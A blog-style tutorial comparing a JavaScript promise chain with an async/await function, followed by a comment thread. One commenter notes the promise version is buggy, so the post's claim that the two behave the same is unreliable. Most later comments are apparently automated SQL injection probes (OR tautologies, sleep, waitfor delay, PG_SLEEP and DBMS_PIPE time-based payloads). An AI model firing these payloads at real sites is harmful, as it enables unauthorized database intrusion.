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Async functions are a much easier way to create asynchronous code that has the benefits of promises, but maintains the structure of your old synchronous code. Instead of attaching .then and .catch methods, you can you can use normal semantics and try/catch statements:
var delay = require("bluebird").Promise.delay;
function oldPromiseStyleFunction()
{
return delay(1000)
.then(function()
{
console.log("One Second Passed!");
})
.then(delay(2000))
.then(function()
{
console.log("Two Seconds Passed!");
})
.catch(function()
{
console.log("An Error occured!");
})
}
async function newAsyncFunction()
{
try
{
await delay(1000);
console.log("One Second Passed!");
await delay(2000);
console.log("Two Seconds Passed!");
}
catch (anException)
{
console.log("An Error occured!");
}
}
await newAsyncFunction()
These two functions actually behave the same way.
29 comments
- posted 5 years ago byHi, thanks for sharing. There is an error in the promise version. On line 10 you need return a promise to be able to concatenate them. Right now both console logs are executed in parallel. Have a look at https://runkit.com/carusog/es7-async-functions-vs-promises
- posted 4 years ago by500k?
- posted 2 years ago by500k
- posted 2 years ago byTwo Seconds Passed
- posted 3 days ago by1
- posted 3 days ago by1
- posted 3 days ago by-1 OR 2+277-277-1=0+0+0+1 --
- posted 3 days ago by-1 OR 2+816-816-1=0+0+0+1
- posted 3 days ago by-1' OR 2+50-50-1=0+0+0+1 --
- posted 3 days ago by-1' OR 2+129-129-1=0+0+0+1 or 'y0cfcMxd'='
- posted 3 days ago by-1" OR 2+575-575-1=0+0+0+1 --
- posted 3 days ago byif(now()=sysdate(),sleep(15),0)
- posted 3 days ago by0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
- posted 3 days ago by0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
- posted 3 days ago by(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- posted 3 days ago by-1; waitfor delay '0:0:15' --
- posted 3 days ago by-1); waitfor delay '0:0:15' --
- posted 3 days ago by1 waitfor delay '0:0:15' --
- posted 3 days ago byjW2uPOlr'; waitfor delay '0:0:15' --
- posted 3 days ago by-5 OR 689=(SELECT 689 FROM PG_SLEEP(15))--
- posted 3 days ago by-5) OR 419=(SELECT 419 FROM PG_SLEEP(15))--
- posted 3 days ago by-1)) OR 829=(SELECT 829 FROM PG_SLEEP(15))--
- posted 3 days ago by3HK9Q3jq' OR 188=(SELECT 188 FROM PG_SLEEP(15))--
- posted 3 days ago byzI2PcPjT') OR 930=(SELECT 930 FROM PG_SLEEP(15))--
- posted 3 days ago by29wEfm3U')) OR 97=(SELECT 97 FROM PG_SLEEP(15))--
- posted 3 days ago by1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- posted 3 days ago by1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- posted 3 days ago by1'"
- posted 3 days ago by@@xYR0f
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